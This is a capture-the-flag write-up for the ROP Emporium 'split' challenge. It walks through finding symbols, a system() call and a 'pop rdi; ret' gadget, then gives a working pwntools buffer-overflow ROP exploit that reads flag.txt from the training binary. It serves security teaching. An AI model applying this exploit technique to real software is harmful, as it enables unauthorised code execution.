ROP Emporium Pt. 2: split
SPOILER WARNING: This page will contain potential spoilers, so consider that
before continuing
ROP Emporium is a collection of challenges designed to teach return-oriented
programming (ROP) techniques by slowly introducing new concepts and increasing
difficulty. If you're looking for a spoiler-free guide, check out the one
included on their website.
Split starts as the same type of challenge as ret2win but with one added element
of complexity. Now we have a couple of pieces to find and chain together to make
our exploit.
We can see this when we search for symbols, finding the same pwnme function as
well as a usefulString (at 0x601060) and usefulFunction (at 0x400742).
nm
──────────────────────────────────────────
$ nm ./split | grep -e " t " -e " D "
0000000000601050 D __data_start
00000000004005f0 t deregister_tm_clones
0000000000400660 t __do_global_dtors_aux
0000000000601058 D __dso_handle
0000000000601072 D _edata
0000000000400690 t frame_dummy
00000000004006e8 t pwnme
0000000000400620 t register_tm_clones
0000000000601078 D __TMC_END__
0000000000400742 t usefulFunction
0000000000601060 D usefulString
──────────────────────────────────────────
The first piece is this function that calls system() which will allow us to
piece together and run a system command.
radare
─────────────────────────────────────────────────────────────────
[0x004006e8]> 0x400742
[0x00400742]> pdf
┌ 17: sym.usefulFunction ();
│ 0x00400742 55 push rbp
│ 0x00400743 4889e5 mov rbp, rsp
│ 0x00400746 bf4a084000 mov edi, str._bin_ls
│ 0x0040074b e810feffff call sym.imp.system
│ 0x00400750 90 nop
│ 0x00400751 5d pop rbp
└ 0x00400752 c3 ret
─────────────────────────────────────────────────────────────────
The second is exactly the command we want (/bin/cat flag.txt) which will read
the flag.
radare
─────────────────────────────────────────────────────────────────
[0x00400742]> 0x601060
[0x00601060]> pd
;-- str._bin_cat_flag.txt:
;-- usefulString:
;-- rip:
0x00601060 .string "/bin/cat flag.txt" ; len=18
─────────────────────────────────────────────────────────────────
Radare gives us the calling convention for this function
(int system(const char *command);) and with a little bit of research we can
figure out that works in Assembly.
cs61.seas.harvard.edu/site/2018/Asm2/
───────────────────────────────────────────────────────────────────
In x86-64 Linux, the first six function arguments are passed in
registers %rdi, %rsi, %rdx, %rcx, %r8, and %r9, respectively.
───────────────────────────────────────────────────────────────────
We will need to find a gadget to set our %rdi register to our string.
ropper
─────────────────────────────────────
$ ropper -f ./split
0x00000000004007c3: pop rdi; ret;
─────────────────────────────────────
Basically, our exploit will need to do a couple of things; a buffer overflow to
pwnme(), pushing our usefulString to %rdi, and running our usefulFunction().
In other words, it should look like
padding + pop rdi; ret; + usefulString + usefulFunction()
Which we can put together with some python.
exploit.py
────────────────────────────────────────────────────────────────
from pwn import *
p = process('./split')
e = ELF('./split')
context(arch='amd64', os='linux', endian='little')
payload = b'A' * 40
payload += p64(0x004007c3) + p64(0x00601060) + p64(0x0040074b)
print(payload)
p.sendline(payload)
log.info(p.clean())
────────────────────────────────────────────────────────────────
See part 3 for more.
// END //